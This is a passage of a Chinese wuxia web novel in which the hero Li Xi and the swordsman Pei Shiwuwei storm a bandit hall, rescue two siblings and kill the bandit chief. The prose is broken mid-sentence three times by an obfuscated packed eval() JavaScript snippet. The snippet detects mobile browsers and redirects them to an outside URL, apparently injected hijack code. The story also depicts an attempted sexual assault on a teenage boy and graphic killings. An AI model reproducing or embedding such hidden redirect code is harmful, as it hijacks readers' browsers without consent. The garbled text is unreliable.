话音未落,一行人已连滚带爬地下了楼,转眼便没了踪影。 “嗤。”红衣郎冷笑一声,收刀归鞘。 他环顾四周,只见满地狼藉,桌椅碎裂,茶碗倾覆,竟连个落座之处都没了。 唯一幸存的,只有角落里李系落座的那一方桌椅。 李系察觉到他的目光,正欲开口相邀,哪知那人竟大咧咧地不请自来,径直走到他对面坐下,顺手拎起桌上茶壶,自斟一杯,仰头便饮。 李系:…… 不是,兄弟你谁? 太自来熟了吧? 然而那茶水方一入口,红衣郎君的眉头便皱成一团,险些呛出来:“兄台,你这茶凉成这样了,还喝呢?” 不待李系答话,他又自顾自地灌了一口,摆摆手道:“罢了罢了,渴死我了,有茶总比没有强。” 李系:…… 红衣郎君一边牛饮,一边随口道:“这位兄台,怎的不说话?莫非是个哑巴?” 说着,他漫不经心地抬眼,向李系望去。 “方才旁人皆作鸟兽散,唯独你稳坐不动。我原以为你是——” 然而他话至此处,戛然而止。 红衣郎的目光落在李系面上,忽地顿住了。 斗笠下,那人剑眉入鬓,瑞凤眼微微上挑,鼻若悬胆,薄唇轻抿。 落日余晖自窗棂斜斜洒入,在他冷峻的眉眼间镀上一层淡金色的光。 他静静地坐在那里,噙着淡淡的笑,温和地看着他,仿佛世间只他一人。 渊清玉絜,静水深流。 红衣郎怔了一瞬,只觉心口似被什么轻轻撞了一下,说不清是何滋味。 他捏着茶杯的手指微微收紧,竟忘了自己方才要说什么。 李系被他盯得微微蹙眉,淡淡开口:“在下并非哑巴。” 嗓音沉稳,不疾不徐,有一种历经沙场、阅尽千帆的从容。 红衣郎君的眼眸倏然一亮。 “不是哑巴便好,不是便好。” 他放下茶杯,身子不自觉地微微前倾,唇角扬起一抹纯真直率的笑:“原来兄台不但相貌出众,气质出众,连声音也这般好听——” “认识一下?” 李系被他想到哪出是哪出的性子逗得弯了弯唇角。 竟是个赤子心性的妙人。 他本就有意结识这位青年英杰,便颔首笑道:“在下李华洛,伊阳陆浑山人氏。” 他报的是前世的表字与籍贯。原身尚未及冠,并无表字;而现在他身负玉匣,铁勒人的追兵尚在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381100|200182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后,河东军李成养子的身份,自是越少人知晓越好。 “‘名高海内,家冠华洛。’好名字!” 红衣郎击掌赞道,眉飞色舞:“在下裴施无畏,沙州敦煌人氏。家中人都唤我狮郎,华洛兄若不嫌弃,也可这般唤我。” 原是河西人。 河西诸州素来佛法昌盛,也难怪此人会以菩萨的施无畏印为名。 而且……狮郎? 李系暗自咂摸这个小名,嘴角微扬。 倒是贴切。 此人一头浓密长发如雄狮鬃毛,眉目又生得艳烈张扬,确有几分睥睨天下的狮王气概。 只是这般初识便邀人唤小名,未免也太过自来熟了些。 “见过裴兄。” 叫小名是不可能叫的。 李系被他话语里那股不加掩饰的亲近弄得有些不自在,连忙转了话头:“不曾想裴兄竟是河西人士,不知此番来中原所为何事?” 见李系并未唤他小名,裴施无畏的眼中闪过一丝不易察觉的失落,但也未强求,只掀了掀眼皮,嘴角噙着一抹淡淡的笑:“唉,我姓裴,祖上本是河东裴氏的一支,后来迁去了河西。家父去世前,时常念叨故土,我便想着替他回来看看。” 他顿了顿,笑意微敛:“只是没想到,河东裴氏早在十年前铁勒第一次南下时,便已满门罹难,无一幸存了。” 说到此处,他抓了抓那如狮鬃般浓密的黑发,语气恢复了几分散漫:“根是寻不着了,我便打算回凉州去。本已买好了船打算渡河西去,哪知道半路杀出个什么镇龙堂,竟把我的船给扣下了……” “乱,中原真是太乱了!” 李系听闻“凉州”二字,眸光微微一动。 待听到他那句“中原太乱”后,心中更是五味杂陈,忍不住轻叹一声,“山河破碎,乱世浮沉,众生皆苦。也不知何时才能拨云见日,天下重归海晏河清。” 裴施无畏闻言,耸了耸肩,神色豁达:“时也命也,谁知道呢。” 他话锋一转,饶有兴致地打量着李系:“话说回来,方才旁人皆跑了,华洛兄为何不走?” 李系微微一笑:“实不相瞒,在下素来看不惯为非作歹之徒。幸有几分武艺傍身,方才本想着若裴兄有需,便出手相助。” 他顿了顿,拱手道:“不曾想裴兄刀法超群,倒显得在下多此一举了。” 裴施无畏哈哈大笑:“那是自然!我的刀法,可是打遍河西无敌手!” 笑罢,他又看向李系,以及他身后背着的长枪泣血,目中隐有期待:“不过华洛兄既说有几分武艺,不知是何路数?改日可要讨教讨教。” 李系但笑不语,只是将话头一转:“方才裴兄说要前往凉州?” 裴施无畏点头:“正是。” 李系伸手摘下斗笠,露出真容。 落日余晖洒在他面上,映得其眉目清晰,神色诚挚:“实不相瞒,在下自中原逃难而来,听闻河西凉州有龙武军大帅护佑,太平安宁,便想前去投奔。只是在下不识西行之路,不知可否与裴兄同行?” 他确实不认得去凉州的路。若能有个熟悉河西的本地人同行,一路上定会顺畅许多。 况且…… 他看了看眼前这位爽朗豪迈的红衣郎君,唇角微扬。 这位裴兄弟,他确实挺喜欢。 说着,李系从背包里取出五两黄金,双手呈上:“自然,不会让裴兄白白捎带。此乃一点心意,还望裴兄笑纳。” 裴施无畏却没有去接那金子。 他只是目不转睛地盯着李系看,那目光灼灼,像是在看什么稀奇玩意儿。 李系被他看得有些不自在,正欲开口,却见裴施无畏摆了摆手,将那金子推了回去。 “哎呀,华洛兄这是作甚?把我当什么人了?” 他挑了挑眉,语气里带着几分得意:“我裴施无畏,可从不缺钱。” “长这么大,只有我给别人钱的份,还头一回有人给我钱,倒是新鲜。” 李系微怔,旋即失笑:“是在下唐突了。” 裴施无畏眼珠一转,面上笑意愈深,“不过嘛——” 他身子微微前倾,凑近了些,压低声音:“想与我同行,也不是不行,但你得先通过我的考验。” 嗅着对方身上淡淡的檀香,李系眸光微动:“什么考验?” 裴施无畏嘿嘿一笑,眼底闪过一丝狡黠:“那镇龙堂,是盘踞风陵渡多年的恶霸,鱼肉乡里,无恶不作。他们既敢扣我的船,定然不会乖乖奉还。” 他看向李系,目光灼灼:“华洛兄方才说有几分武艺傍身,又看不惯为非作歹之徒——” “那你敢不敢同我一道,把这镇龙堂给掀了,帮我把船夺回来?” 4. 夜奔龙堂 “敢不敢,同我去掀翻那镇龙堂?” 【裴施无畏向你发出组队邀请。】 裴施无畏琥珀色的眼眸战意昂然,眸底跃动着明亮的光。 他分明已经笃定李系会应允,却偏要问上一问,神情里既有几分邀战的挑衅,又有几分印证所想的迫切。 李系看他如此如此坦荡直接,心下微动。 敢爱敢恨,嫉恶如仇,想做便做。 这般赤子心性,这般肆意张扬,定是自幼被捧在掌心里长大、不曾尝过世态炎凉之人。 李系自己早已不再是热血少年的年纪。 三世为人,见过太多生死,踏过太多尸骨,那些年少轻狂的锐气,早已在岁月与战火中磨尽了。 可这并不妨碍他被眼前之人打动。 甚至……有些羡慕。 他垂眸,轻轻摩挲着杯沿,唇角微扬。 “看来不论李某同去与否,裴兄都是打定主意要惩恶扬善了。” 裴施无畏扬起下巴,笑得恣意张扬,“那是自然。” 他单手撑案,身子微微前倾,狼眸中满是跃跃欲试的兴味:“镇龙堂那帮孙子既然敢惹到我头上,我便要让他们知道,什么叫——” 他故意顿了顿,眉梢飞扬。 “人外有人,天外有天。” 李系失笑。 好一个狂妄不羁的红衣郎。 见他笑,裴施无畏反倒愣了一瞬,旋即撇了撇嘴,语气里带上几分认真:“且等去了你便知道,那镇龙堂作恶多端,早该有人收拾了。所以——” “好兄弟,你去是不去?” 李系抬手将杯中冷茶一饮而尽,杯落案响。 窗外残阳西沉,暮色渐合,只余一线金芒。河风穿堂而过,拂动二人衣袂。 “既然如此,” 李系起身,与裴施无畏四目相对,含笑道:“那李某,自当奉陪。” “好!”裴施无畏抚掌大笑,“我就知道我不会看错人!” 他霍然起身,抬手便往李系肩上重重一拍:“我先下楼结账,然后咱们即刻出发!” 话音未落,人已风风火火地蹬蹬蹬跑下楼去了。 李系被那一掌拍得身形微晃,嘴角扯了扯。 不是,兄弟你…… 他无奈地摇了摇头,将斗笠重新戴上,看着小地图上跑动的蓝点,顺着裴施无畏离开的方向缓步下楼。 楼下,裴施无畏正豪气冲天地往柜上扔了一大锭银子:“今儿二楼的茶水钱,我施无畏包了。打坏的桌椅茶碗,修缮的银钱,一并算在里头。” 末了,他又诚恳地一拱手:“把贵店二楼搞得一塌糊涂,实在对不住了。” 那银子少说也有百余两,够这间小客栈赚上好几年。 掌柜的眼睛都笑成了一条缝,连连摆手:“哎哟,不打紧、不打紧!多谢施公子,公子大气!公子慢走——!” 裴施无畏转过身来,便见李系正抱臂倚在门边,斗笠压得低低的,看不清神情。 他快步走上去,笑容明朗, “华洛兄,走罢!” 入夜,明月高悬,河风猎猎,吹得河面碎银飘荡,两岸芦苇簌簌作响。 风陵渡小道上,两道颀长的身影结伴而行,被月光拉得又细又长。 一人戴着斗笠,身着霜白交领内衬,外罩烈焰般的绯红长衫,背负长枪,手牵白马。 一人身穿殷红单衣,腰悬横刀,腕间缠着黑布与檀木佛珠。 “话说裴兄,你不是叫裴施无畏么,为何在客栈里只自称施无畏?”李系问。 裴施无畏咧嘴一笑:“行走江湖,有那么一两个诨名假名,不是很正常?” 话音未落,他状若不经意地将手臂搭上李系的肩,面上仍是那副散漫神色,眼底却倏然锐利起来。 “况且——” 他偏过头,似笑非笑地看着李系,“华洛兄,不也如此么?” 语气笃定,不是试探,而是论断。 那双狼眸里闪着狡黠的光,等着看李系如何作答。 李系却只是微微一笑。 他神色坦然,既无被戳穿的慌乱,亦无刻意遮掩的心虚,只是平静地颔首道:“确实如此。裴兄好眼力。” 裴施无畏微微一怔。 他原以为这一问多少能让眼前之人露出几分破绽,却不想对方竟大方认下,坦荡得很。 裴施无畏眼中的戏谑之色渐渐收敛,取而代之的,是几分认真的审视。 李系泠然不动,任他打量。 月光如水,倾泻在他冷峻的眉眼上,衬得那双瑞凤眼愈发深邃难测。 良久,裴施无畏才收回目光,轻笑一声。 “有点意思。” 他抬手肘了一下李系的臂膀,语气里多了几分真实的好奇:“华洛兄,这下我可是真的想瞧瞧你的武功了。” 二人沿着昏暗小道一路前行,约莫一炷香后,一座渡口大寨赫然在前。 大寨中央矗立着一座青砖大院,雕梁画栋,飞檐四角各踞一条琉璃青龙,龙尾齐指屋脊正中的镇宅宝塔,颇有几分气派。 然而大院之外,却是东一间西一间随意搭建的木屋草棚,歪歪斜斜,破破烂烂,与那青砖大院格格不入。 整座寨子看上去像是强占了哪家高门大户的宅邸,又在外头胡乱扩建了一圈,风格拼凑,不伦不类。 鸠占鹊巢,不过如此。 “到了,”裴施无畏扬了扬下巴,“那便是镇龙堂,风陵渡最大的匪寨。” 李系将里飞沙留在寨子外的大槐树下。 裴施无畏奇道:“华洛兄就这般将宝马留在此处?连缰绳也不系?” 李系轻抚马颈间的银色暗纹,眼神温柔了几分:“无妨,莎莎不会乱跑。” “……沙沙?” 裴施无畏愣住,上下打量那匹通体雪白、肌骨雄健的高头骏马,面色古怪。 这般神骏,唤作踏雪、逐风都不为过,怎的竟会叫沙沙? 何意味? 李系瞥他一眼:“怎么,有何不妥?” 敢质疑他家莎莎的美名? 战八方警告。 裴施无畏识趣地摇了摇头。 李系这才从行囊中取出一捆皇竹草,送到里飞沙嘴边,柔声哄道:“莎莎乖,在这儿等着,爹爹我去去就回。” 里飞沙吃草,里飞沙不语,里飞沙甩甩尾巴。 知道了。 裴施无畏目瞪口呆地看他用和情人低语般的声音跟马说话。 不是,兄弟…… 那只是一匹马啊! 还是匹公马! 救命,好像见到了奇怪的人。 裴施无畏搓了搓手臂,嘀咕道:“一匹马而已,至于么……” 李系轻哼一声,懒得理他。 肤浅的人,如何能理解天策与马之间的羁绊! 安顿好坐骑,二人便不再耽搁,纵身跃起,朝镇龙堂主堂方向掠去。 裴施无畏在前引路,足尖点过屋脊飞檐,身形轻盈无声,迅捷如风。 李系紧随其后,步履沉稳,毫不费力。 裴施无畏原以为他会落下,回头一看,却见那白衣身影如影随形,气息平稳,竟是丝毫不见吃力。 他眸光微亮,嘴角勾起一抹笑意,脚下倏然加速。 李系见状,眉梢微挑,亦提了几分真气。 二人心照不宣,就这么暗中较上了劲。 夜色深沉,两道身影一前一后,如双燕掠空,穿梭于重重屋脊之间。 片刻后,二人同时落在镇龙堂正堂的青瓦檐上,不分先后。 裴施无畏转头看向李系,眸中有惊讶,有欣赏,亦有一丝不服。 李系迎上他的目光,唇角微扬,神色淡然。 不卑不亢,处变不惊。 裴施无畏垂眸轻笑。 好气度。 忽然,屋内传来一声尖叫,旋即戛然而止。 二人面色一凛,屏息静气,伏低身形。 片刻后,正堂侧门吱呀一声推开,两个彪形大汉拖着一具尸体走了出来。 尸体尚有余温,血还在流,在地上拖出一道长长的暗红痕迹。 二人将尸体拖到正堂后的树丛中,掏出铁锹,开始挖坑。 “唉……”灰衣汉子看着地上的尸体,冷硬的面容上浮起一丝不忍,“为了逼那张家兄妹就范,这都是第几个了……” 蓝衣汉子手上动作一顿,压低声音颤抖:“河生哥!憋说了,恁不想活了?” 灰衣汉子叹了口气,不再言语,默默拾起铁锹帮忙。 待将尸体埋好,蓝衣汉子才放缓了语气,拍了拍他的肩:“河生哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381101|200182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,俺知道你心里不好受,可咱们入了镇龙堂,没得回头路了。” “你老娘还病着馁,没了镇龙堂这层关系,别说银钱,你连药都买不着。哥啊,恁是个讲义气的,俺服恁,兄弟们也都服恁,可义气不能当饭吃啊!” 灰衣汉子沉默良久,终是没再说什么,扛起铁锹,随蓝衣汉子一道离去,返回正堂。 屋顶上,李系与裴施无畏对视一眼,神色俱是一沉。 李系伸手,轻轻揭开一片青瓦。 瓦片方一移开,一道凄厉的尖叫便破空而来,悲怆刺耳,震得人耳膜生疼。 “董威龙,你这狗贼——!” 是个女孩的声音,尖锐稚嫩,透着不顾一切的恨意。 裴施无畏凑上前来,二人一同朝下望去。 正堂之中,灯火通明。 一个满脸横肉的彪形大汉赤着上身,手提一柄圆环大刀,刀刃上血迹未干,犹自滴落。 大汉身前,跪着两个被绑缚的少年。 一个身形稍长,约莫十五六岁,面容文弱,满脸惊惧。一个身形娇小,看着不过十三四岁,是个女娃。她双目赤红,死死瞪着那大汉,方才那声悲怆的尖啸,正出自她口。 女孩发髻散乱,额前几缕乌发垂落,面容稚嫩,眼中满是恨意。 “董威龙!我父当年心善,将你从黄河里捞上岸,还给你一席容身之地,你却恩将仇报,杀我家人,屠我家仆,霸我张家祖宅,还改作这什么狗屁镇龙堂!” 她咬紧牙关,愤然道:“祖坟的位置,我死也不会说!你有本事便杀了我,否则我张灵必杀你!” “灵儿——”身旁少年低声唤道,语气担忧。 张灵转头,目光决然:“哥哥莫劝!” 她猫眼圆睁,死死盯着董威龙:“你且看此人霸占张家之后,用我家的银钱将这匪帮扩张成何等规模,又害了多少无辜性命!我绝不让张家世代所累的财宝落入此等狼心狗肺之人手中,助纣为虐!” “我们可以死,却不可辱没张家风骨!” 少年闻言,沉默片刻,缓缓点了点头,垂下眼帘,不再言语。 董威龙仰天大笑。 他迈步上前,魁梧的身躯踏得地板咚咚作响,小山般的阴影笼罩住兄妹二人。 “张家小姐,你当我董威龙稀罕那点银钱?” 张灵冷哼,眼神不屑。 董威龙走到少年面前,伸手捏住他的下巴,迫其抬头。粗粝的指节在少年光洁的面颊上缓缓摩挲,眼中闪过一丝淫邪之色。 他看着少年清秀的面容,吊梢眼里闪过一丝淫邪。 “几日前,老子确实想要那笔钱。但现在——”他舔了舔嘴唇,“不想了。” “铁勒人南下,河东义军败了。那十万红巾义军,全死在了平阳。” 少年面色骤变:“什么?河东义军……李将军他——” “死了。”董威龙冷笑,“李氏一门,除了李成那个痴傻养子,全死绝了。不过那小子也活不长久,铁勒人正发了疯地搜捕他,要活捉。” “老子可不趟这浑水。”他松开少年的下巴,漫不经心道,“正巧前几日有个愣头青在浪惊天那里买船,被狠宰了一笔。老子杀了浪惊天,船和银钱都落我手里。明天便带弟兄们入河南下,投奔我阿兄去。” “当然,走之前老子还要办一件事——” 他退后两步,目光在兄妹二人身上来回游移,最终落在少年那张清秀白净的脸上,舔了舔嘴唇。 “谨少爷,你可知老子惦记你多久了?”他嗓音沙哑,“打从进张府那日起,老子就忘不了你这张脸。” 少年面色惨白,身子微微发颤。 董威龙桀桀一笑,目光又转向张灵,上下打量一番。 “还有灵儿小姐,再过两年也是个美人胚子。” 他来回看着这对兄妹,眼底的贪婪毫不遮掩,“啧啧,你们张家当真会长。兄妹两个,一个赛一个的好皮相。” 他伸出舌头舔了舔干裂的嘴唇,拨开少年额前散落的碎发,指腹在那光洁的面庞上缓缓摩挲:“老子可是荤素不忌的。先前为了套话不便动手,如今既然用不着了,自然要好好享用一番。” “先收了哥哥,再收妹妹。”他粗喘一声,声音愈发急促, “往后带在身边,岂不是齐人之福?哈哈哈哈——” 5. 翻龙搅浪 “狗贼!把你的脏手从我哥哥身上拿开!” 然而她终究年幼力弱,董威龙冷哼一声,随手一掌便将她挥开。 张灵摔出数尺,撞在立柜上,闷哼一声,蜷缩在地,面色惨白。 “灵儿——!”张谨焦急大喊,拼命挣动绳索。 董威龙看也不看张灵一眼,一把拎起张谨的后领,将人朝内室拖去。 “放开我——!” 张谨奋力挣扎,可他不过一介文弱书生,哪里敌得过这五大三粗的莽汉,被拖得踉踉跄跄,毫无还手之力。 董威龙将人掼在榻上,翻身便压了上去,粗粝的大手扯住少年衣领,猛地一撕。 “不!!别碰我——!” 就在此时,头顶骤然传来一声爆响。 瓦片四溅,碎屑纷飞。 一道枪芒破空而下,凌厉如龙吟,直取董威龙后心。 这一击又快又狠,眼看便要将人戳个对穿,那小山般魁梧的身躯却如灵蛇一般猛地扭转,堪堪避开了这致命一击。 “什么人——?!”董威龙怒喝一声,一个翻滚捞起地上的环首刀,警惕地看向来人。 从天而降者身着红白交衫,头戴斗笠,手持长枪。他斗笠压得极低,看不清面容,但观其身形,七尺有余,挺拔劲瘦,当是个年轻人。 董威龙眼底闪过一丝狠戾,冷笑道:“毛头小子,也敢来老子的地盘撒野?” 他外号“翻浪蛟”,早年纵横河东,一身横练功夫出神入化,是江湖上有名号的准一流高手。后来得罪了不该得罪的人,被追杀至风陵渡,身受重伤,险些丧命,被张家老爷救下。 谁料他恩将仇报,伤愈之后反手便屠了张家满门,只留张家兄妹逼问祖坟财宝所在,又霸占宅院,自立镇龙堂。 这些年来,凭这一身打遍风陵无敌手的武艺,风陵渡无人敢惹他,镇龙堂上下更无人敢忤逆他。也有不服者曾去挑战他,却皆惨死他的环首刀下,尸首现在还吊在渡口。 董威龙鳄目瞪圆,杀意盎然地盯着眼前人。 这个小贼,很快也会成为其中之一。 李系站在榻上,瞥了眼瑟瑟发抖的少年,手中长枪一挽,挑断了他身上的绳索。 少年呆呆地望着从天而降的持枪人,一时未能反应过来。 李系从背包里取出一柄匕首,掷入他手中:“去救你妹妹,然后找个地方躲好。” 少年这才如梦初醒,抓紧匕首,踉跄着爬起身来。 “你找死——!!”董威龙见自己被如此无视,勃然大怒,猛然暴喝。 浑厚内力激荡而出,化作一道无形罡风,震得满室瓷瓶尽数碎裂。 李系眸光一凛,体内真气急转,凝成一层淡红色罡气护于周身。 御。 紧接着,他蹲身展臂,将少年护在身后,稳稳挡下这一击。 罡风呼啸而过,吹得少年碎发凌乱,衣袂翻飞。 少年张谨蜷缩在那道宽阔的背影之后,心跳如擂。方才还压在他身上的恐惧与屈辱,此刻竟被一种陌生的安定所取代。 他怔怔地望着眼前这人:白衣披红,长枪在握,脊背挺得笔直,仿佛一座山,将所有风雨都挡在了外头。 罡风过后,李系缓缓起身,看向董威龙的目光多了几分审慎。 先躲过了他的【龙吟】,后又使出了如此强劲的狮吼功,内力浑厚,当真不可小觑。 难怪镇龙堂能在风陵渡横行无忌,原是有这么一尊煞神坐镇。 乱世中,官府无用,谁拳头硬谁当老大。 虽然董威龙人品稀烂,但这身武功确实硬。 不过无妨。 李系挽了个枪花,眸中战意渐浓。 施展【御】之后,此人的狮吼功未能伤他分毫,说明减伤非常有效。 天策别的不说,减伤技能足够多,而且和游戏里不同,这里没有CD。 董威龙,他能战。 而且能赢。 董威龙本以为这一记狮吼足以震得对方肝胆俱裂,却见那白衣青年周身罡气流转,竟是丝毫无损。 他瞳孔骤缩,面色微变,“你——” 李系勾唇,接着下一瞬,他猛地出枪。 突。 枪如奔雷,势如闪电。这一击裹挟着浑厚罡气,直取董威龙面门。 董威龙横刀格挡,枪刀相击的刹那,一股排山倒海般的劲力涌来,将他整个人掀翻在地。 “噗——!” 他口中喷出一蓬血雾,难以置信地瞪着李系。 这样一个年轻人,怎会有如此深厚的内力?! 李系不给他喘息之机,再度出枪。 穿云。 龙穿入云裂长空*,这一枪势若惊虹,直接击碎了董威龙横于胸前的环首刀,枪尖没入他右臂。 “啊!!”董威龙惨叫一声,面目扭曲。 “好汉饶命!好汉饶命!”他连声求饶,“你要什么尽管开口,咱们好商量!” 李系不为所动:“我什么都不要。” “怎么可能!”董威龙失声,目光急转,瞥见正将妹妹抱在怀中的张谨,忙道:“是为了他们?我放、我这就放了他们!” 李系眯眼,没有答话,而是将手中长枪戳得更深。 董威龙发出杀猪般的嚎叫:“你到底要怎样?!钱?船?老子都给你!” 李系冷笑:“我要杀你。” 此言一出,董威龙反而不叫了。 他喘息数声,神色由惊恐转为阴鸷,藏在身下的左手悄然动了动。 一旁的张谨察觉到异样,失声喊道:“大侠小心——” 话音未落,董威龙猛然掷出一枚小匣。 匣子在半空骤然炸开,无数黑针如暴雨般激射而出,直取李系面门! 李系瞳孔微缩,体内真气急涌,凝聚周身。他足尖一点,身形如燕掠向左侧,堪堪避开了这一波暗器。 御。凌霄揽胜。 黑针未沾到他的衣角,却打飞了他的斗笠。 董威龙借此空隙,一个鲤鱼打挺翻身而起,扯开嗓子大吼:“来人,有敌袭——” 话音方落,正堂外便响起密密麻麻的脚步声,夹杂着兵刃出鞘的铮鸣。 “哼!”董威龙捂着血流不止的右臂,踉跄后退数步,鳄目中泛起阴毒的冷光,“我倒要看看,你一个人如何敌得过我镇龙堂上百号弟兄!” 李系立枪于身侧,神色不变。 斗笠落地,露出他冷峻的眉眼。 董威龙打量着他年轻的面容,嗤笑一声:“生面孔……果然是个嘴上没毛的臭小子,不知天高地厚。” 转眼间,内室已被蜂拥而至的帮众围得水泄不通。帮众手持各种刀枪剑戟,寒光闪烁。 董威龙退至人群之后,抬起左手,厉声道:“弟兄们,给我上——砍下这小子的人头,重重有赏!” 人多势众,双拳难敌四手,这个道理再浅显不过了。 董威龙已占据绝对优势,胜券在握。 李系见状,忍不住叹息。 躲在立柜后的张家兄妹见他叹息,以为他心生怯意,不由面色一紧。 张谨紧紧护住妹妹,一双桃花眼望向那道挺拔的身影,眸中写满担忧。 却见李系只是抬头,望向破洞的屋顶,朗声道:“无畏公子,恶蛟现形,兵将齐聚,你要掀的镇龙堂已然在此,不知君还要作壁上观到几时?” 什么? 董威龙浑身一震,面色骤变。 暗处竟还藏着一人,而他方才竟丝毫未曾察觉! 能避过他耳目、又有如此雄浑内力者,必是个一流高手。 那个持枪客已经是个一流高手,对付起来棘手至极,如今再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381102|200182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 添一个…… 他冷汗涔涔,心头涌起一股不祥的预感。 今日这镇龙堂,怕是真要被人掀了。 李系话音落后,一道笑声自房梁上传来,狂放不羁。 “哈哈哈哈——” 笑声浑厚,裹挟着磅礴内力,震得梁上灰尘簌簌而落。 “咚——!!” 一声巨响,房梁上蓦地跃下一道人影。 来人一袭殷红单衣,一个千斤坠,硬生生砸入包围圈正中,掀翻一片帮众。 “是……是你?!”镇龙堂帮众之中,先前在客栈被收拾过一顿的光头壮汉认出了来人,惊得倒退数步。 裴施无畏咧嘴一笑,拍了拍衣袍上并不存在的灰尘:“不错,是我!” 董威龙惊怒交加:“怎么回事?!” 裴施无畏抽出横刀,刀尖遥指董威龙:“敢抢你爷爷的船,还笑我是愣头青?今日我便掀了你这狗屁镇龙堂,叫你知道知道,什么叫人外有人!” 董威龙目光在裴施无畏与李系之间来回扫视,旋即大怒:“好啊!俺就说这小子怎么上来就要杀俺,原来你们是一伙的!” 他退后两步,指着二人厉声高喝:“弟兄们,给我上!杀了这两个小白脸——赏金一两黄金!” 此言一出,帮众们眼睛顿时亮了。 李系暗中抽了抽嘴角。 赏金才一金,也太寒酸了吧? 有了赏金,帮众们顿时有了动力,嗷嗷叫着挥刀扑来。 裴施无畏嗤笑一声,横刀出鞘,迎面便砍。 李系回头看了一眼躲在立柜后的张家兄妹。 少年张谨正死死护着妹妹,一双桃花眼无助地望向他,像一只受惊的幼鹿。 李系朝他微微颔首,随即抬手一推,将身旁的立柜挪至兄妹身前作掩护。暂时安顿好兄妹二人后,他提枪转身,加入战团前去支援裴施无畏。 枪芒霍霍,刀光如练。 镇龙堂的帮众虽人多势众,却不过是些乌合之众,武艺低微。即便有那么一撮使得是行伍招式,也不够看。李系一杆长枪舞得虎虎生风,挑、拦、拿、扎,招招凌厉,甚至无需动用内力,便将那些扑上来的壮汉尽数掀飞。 董威龙见势不妙,趁乱捂着右臂,悄然往后退去,准备自己跑路逃命。 李系见了,立马高喝:“董贼,哪里逃?!” 董威龙身形一僵,反而跑得更快,施展轻功夺路而逃,一边跑一边大喊:“好汉饶命!董某与你无冤无仇,何苦非要取俺性命!” 李系怒道:“你鱼肉乡里、恩将仇报、猥亵少年,本就该死、且死有余辜!” 说着,他一个蹑云逐月冲了过去,再次出枪把董威龙突倒。 董威龙趴伏于地,惊惧交加,连忙高喊:“你不能杀我!我阿兄是武安军节度使董武隆,麾下十万龙骧军!你若杀了我,他必不会放过你!” 李系微微眯眼,“武安节度使?荆楚?” 董威龙见他神色有异,以为他心生忌惮,忙不迭求饶:“正是正是!——好汉,小英雄!您这么一位武艺高强、侠肝义胆、风度翩翩的君子,大人有大量,何必与我这粗人计较!我没读过书,不懂道理,从前做的那些事,都是糊涂!从今往后,我定痛改前非,再不敢为恶——求您高抬贵手,饶我一命!” 他磕头如捣蒜,心中却暗暗盘算:待逃出此地,投奔阿兄麾下,定要请出烟雨楼的杀手,取这两人性命! 却听李系冷冷道:“君子?” 董威龙一愣,还未反应过来,一道枪芒已破胸而出。 他瞪大双眼,难以置信地低头看着胸口的血洞,喉间发出几声含混的咕噜声,便再无气息。 “可惜了。” 李系拔枪而出,抖落枪尖血珠,淡淡道:“依在下拙见,君子便是——” “说杀你,就杀你。” 6. 平潮退浪 “堂主死了!董堂主死了!” 董威龙小山般的身躯倒伏在地,黑红色的血顺着尸身蔓延开来,在月色下泛着黏稠的光。 尸身之前,一名白衣披红的青年持枪而立,枪尖犹带血珠,面容冷峻如霜。 举着武器的帮众们如遭雷殛,呆立当场,面带惊惧地望着这名年轻的游侠。 武安节度使董武隆之弟,河东恶侠“翻浪蛟”,风陵渡镇龙堂堂主董威龙,竟在这无名游侠手下走不过三合,被一枪洞穿胸膛,死于非命。 这人究竟是什么来头?! 李系见帮众们仍将他团团围住,微微眯眼,长枪一抬,枪尖指向众人:“董威龙已死,还有谁敢来战?” 面对那仍在滴血的枪锋,帮众们不约而同后退一步,却仍死死攥着手中兵刃,不敢轻举妄动。 李系冷哼一声,持枪上前一步。 帮众又后退一步。 往昔,董威龙便如一座不可逾越的大山,压在他们头顶,令人喘不过气来。 如今这座山毫无征兆地轰然崩塌,留下他们这群只会听命行事的喽啰,进退维谷,茫然无措。 这时,裴施无畏提着刀,跨步走出正堂。 他瞥了一眼倒在门口的董威龙尸首,笑道:“死了?杀得好。” 接着,刀一横,朝围着他们的帮众们喝道:“里头那些董贼亲信,爷爷我已料理干净了。你们——要么滚,要么留下来,做我的刀下亡魂!” 帮众顿时哗然。 董威龙的那十几个亲信,据说是其兄武安节度使董武隆拨来的心腹,个个行伍出身,功夫了得。这红衣郎君竟将他们全杀了? 众人面面相觑,皆从彼此眼中看到了惧意。 正堂内外,一片死寂。 无人敢动,无人敢言。 裴施无畏见他们仍杵在原地不动,眼中闪过一丝不耐,提刀便要上前。 就在这时—— 